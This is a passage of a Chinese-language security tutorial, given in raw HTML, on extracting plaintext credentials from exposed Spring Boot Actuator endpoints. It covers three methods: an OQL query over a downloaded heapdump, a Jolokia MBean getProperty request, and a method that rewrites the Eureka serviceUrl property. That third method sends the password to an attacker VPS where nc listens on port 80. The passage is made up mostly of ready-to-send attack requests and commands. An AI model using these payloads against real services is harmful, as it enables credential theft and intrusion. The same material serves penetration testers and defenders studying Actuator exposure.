inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.6590909090909091" title="image02" data-type="png" data-w="880" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=36dd19e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDmeH9hlt49nJTkXeZqIRYfyakVYWRcSWpQjyzic4AcLNEfQUWDZ0ibibYA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image02</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">工具打开默认是这样的，接下来点击文件-&gt;装入：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.6590909090909091" title="image03" data-type="png" data-w="880" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe230d54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDXYxwC7jG0EQ2GdxzoK82COkKjLBB60mprPKC9kPAot7RW2uDFCd27Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image03</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">选择我们刚才下载的dump文件。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.8428974600188147" title="image04" data-type="png" data-w="1063" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6a3ff524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDPnU3PSr8S21Qzv4wO3XgZF1AVtDxFBGGTVlYlQic67dRyoLcMMfZEew%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image04</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">可以看到系统的一些配置信息。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">接下来打开OQL控制台，输入OQL语句来过滤我们需要的信息。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">OQL 是一种类似 SQL 的查询语言，用于查询 Java 堆。OQL 允许从 Java 堆中过滤/选择所需的信息。虽然 HAT 已经支持诸如“显示 X 类的所有实例”之类的预定义查询，但 OQL 增加了更多的灵活性。OQL 基于 JavaScript 表达式语言，详细请参考Object Query Language (OQL)</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">env中信息存储在heapdump中的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">java.util.LinkedHashMap$Entry</code>类中（Spring boot 2.X版本）。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">如果我们要查询数据库密码则在OQL控制台执行如下OQL语句：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">select</span> s <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">from</span> java.util.LinkedHashMap$Entry s <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">where</span> /spring.datasource.password/.test(s.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">key</span>)  <br/></code></pre><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.6925925925925925" title="image05" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=93971797&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDaQKctibQNHtf9jFJJCTHeYKwWsBDf6Nxqvo1wmfcnKyEia7ECLURnSGg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image05</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">可以看到有三个查询结果，挨个点开看看：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.36018518518518516" title="image06" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3a9fb7da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDemM6yg7NT1fOreSovhv17lPH0gBsGUDmj5lEngWPTj4cnkK30w8NmQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image06</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">可以看到数据库密码为root。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">注意OQL查询语句中的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">spring.datasource.password</code>需要根据实际环境替换。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.2 方法二</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用条件：</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">目标网站存在/jolokia或/actuator/jolokia接口</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">目标使用了jolokia-core依赖（版本要求暂未知）</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">默认情况下actuator是没有jolokia接口的，所以需要再添加如下依赖：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">dependency</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">groupId</span>&gt;</span>org.jolokia<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">groupId</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">artifactId</span>&gt;</span>jolokia-core<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">artifactId</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">version</span>&gt;</span>1.7.0<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">version</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">dependency</span>&gt;</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用方法</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">首先访问/actuator/env接口，获取想要获得明文的属性名，然后通过 jolokia 调用相关 Mbean 获取明文。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">然后访问</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="color: inherit;font-size: inherit;">h</span><span style="color: inherit;font-size: inherit;">ttp://ip:port/actuator/jolokia/list </span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="color: inherit;font-size: inherit;">看一下目标环境中存在的MBean：</span></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.6222222222222222" title="image07" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b94539ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrD4YqrwM7ia6nhnAgribQnPBco2qdxUXbBuL06qpFXiaUQWP5XWA7xwmDYw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image07</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>POST /actuator/jolokia<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>Content-<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Type</span>: application/json<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;mbean&#34;</span>: <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;org.springframework.boot:name=SpringApplication,type=Admin&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;operation&#34;</span>: <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getProperty&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;type&#34;</span>: <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;EXEC&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;arguments&#34;</span>: [<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;security.user.password&#34;</span>]}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">如果是1.x版本请求路径则为/jolokia</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">当前环境测试如下：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.33240740740740743" title="image08" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e69c0ac8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDjvyU3VH1j5eK0QicwkIlkoBPenatzPMTh5fia5kDgzUicz747cQo8tS4w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image08</figcaption></figure><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.3 方法三</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用条件：</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">可以 GET 请求目标网站的 /env  </span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">可以 POST 请求目标网站的 /env  </span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）  </span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">目标使用了 spring-cloud-starter-netflix-eureka-client 依赖  </span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">目标可以请求攻击者的服务器（请求可出外网）  </span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">这里需要注意的是，添加了spring-cloud-starter-netflix-eureka-client依赖后，启动项目可能会报一个如下错误：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.2490740740740741" title="image09" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0cb5a1b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDxDjaziaXQxrYCRCsA8bLBKOuxWyWlDwiawqCMTh8JBRZMXwIJnZAlsbQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image09</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">通过搜索最终找到了这个帖子  </p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">报错内容和帖子很相近，最终在移除了当前项目中的servlet依赖后报错消失。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="1.5106382978723405" title="image10" data-type="png" data-w="564" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=edd78d45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDzmhvGYF8vWVTDI6hnMZD14uALJHdnhYH91qa3hK3MXglFVoNpu4YnQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image10</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">还有一个问题就是如果使用的 spring boot 版本大于 2.2.4，则必须使用下面的属性手动启用POST API 调用：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">management.endpoint.env.post.enabled=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">否则不能通过POST访问env端点。</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用方法：</span></h5><ol style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">首先访问</span></p><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="http://127.0.0.1:8080/actuator/env" target="_blank">http://127.0.0.1:8080/actuator/env</a></span></p><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"> 来获取我们想要明文字段的key。 </span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">在自己控制的外网服务器上监听 80 端口：</span></p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">nc</span> -lvk <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">80</span><br/></code></pre><ol start="3" style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>将下面</p><p><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><a href="http://value:${security.user.password}@your-vps-ip" target="_blank">http://value:${security.user.password}@your-vps-ip</a></code> 中的 <code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">security.user.password</code>换成自己想要获取的对应的星号 * 遮掩的属性名；<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">your-vps-ip</code>换成自己外网服务器的真实 ip 地址。</p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>POST /actuator/env<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>Content-Type: application/json<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;name&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;eureka.client.serviceUrl.defaultZone&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;value&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<a href="http://value:" target="_blank">http://value:</a><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">${security.user.password}</span>@your-vps-ip&#34;</span>}<br/></code></pre><ol start="4" style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">刷新配置：</span></p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>POST /actuator/refresh<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Content-Type: application/json</span><br/></code></pre><ol start="5" style="font-size: inherit;color: inherit;line-height: inherit;margin: 